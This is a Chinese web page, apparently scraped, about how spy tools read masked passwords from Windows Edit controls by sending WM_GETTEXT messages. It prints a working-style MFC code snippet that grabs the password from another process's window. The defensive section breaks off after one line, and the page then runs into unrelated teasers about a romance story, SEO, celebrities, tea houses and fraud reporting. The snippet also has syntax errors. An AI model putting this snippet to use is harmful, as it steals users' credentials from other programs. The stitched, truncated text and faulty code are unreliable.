Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。 二、黑客软件工作 *** 首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下: //将客户坐标转换成屏幕坐标ClientToScreen(&point);//返回一个包含指定屏幕坐标点的窗口CWnd* pWnd = CWnd::WindowFromPoint(point);if (pWnd){//获取窗口句柄HWND hwndCurr = pWnd->GetSafeHwnd();if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) !=(::GetWindowThreadProcessId (hwndCurr, NULL))){char lpClassName[255];//获取类名if (::GetClassName(hwndCurr, lpClassName, 255)){//判断是否是Edit控件if (0 == m_strWndClass.CompareNoCase("EDIT")){//获取窗口风格LONG lStyle. = ::GetWindowLong(hwndCurr, GWL_STYLE);//如果设置了ES_PASSWORD属性if (lStyle. & ES_PASSWORD){char szText[255];//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);//密码已保存在szText中m_strPassword = szText;}}}}} 上述代码中值得注意的有以下几个关键地方: ClientToScreen(&point);CWnd* pWnd = CWnd::WindowFromPoint(point);HWND hwndCurr = pWnd->GetSafeHwnd(); 这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。 这便是真正起作用的SendMessage了,其之一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。 三、防范措施 既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种 *** 来验证发送消息者的身份是否合法: 1.创建新CEdit类 从CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity; 然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:
因此她去问冬子11朵玫瑰花代表什么意思,想不到冬子这混蛋居然含糊其辞、吞吞吐吐说不出来个为什么来。 不好!一定要逼这一二愣子告白,小亚不断地缠着冬子问。冬子太害羞了,击败也开不了口。被小亚逼得没法,只...
很多时候我们发现自己的百度快照不更新,以及百度快照倒退的现象,弄得自己对于百度快照不知所措,其实如果网站没有故意作弊或者出现挂马现象,不会导致百度K站,所以当我们出现快照不更新或者快照倒退不能肯定是网...
20日,杨幂吴亦凡李现活动中同框,颜值超养眼!三人被拍到在台下偷偷玩小鳄鱼游戏,童心不减。...
在中国,不管是哪个城市都有很多爱喝茶的人士,茶馆从古代发展到现代,已经成了大家日常休闲放松的场所。想要喝茶去茶馆,想跟朋友小聚也去茶馆。茶馆加盟也成为很多人投资创业的选择。那么,开个茶馆需要多少钱呢?...
23部委局连动紧抓网络诈骗 公安机关增设侦察服务平台严查网络诈骗。日前,国家公安部宣布开设“网络诈骗案件查办服务平台”,该服务平台连通了全国各地刑警队、公安局、金融机构信息内容。受害人拨通110报...
许多 盆友常常会在实行完一些程序流程以后,察觉自己的电脑上莫名其妙的转化成了一些后缀名为bak的文档。而且这种bak文件全是打不开的文档,即使能开启,通常也都是会出現一些错码,那麼这种文档是啥文档呢?...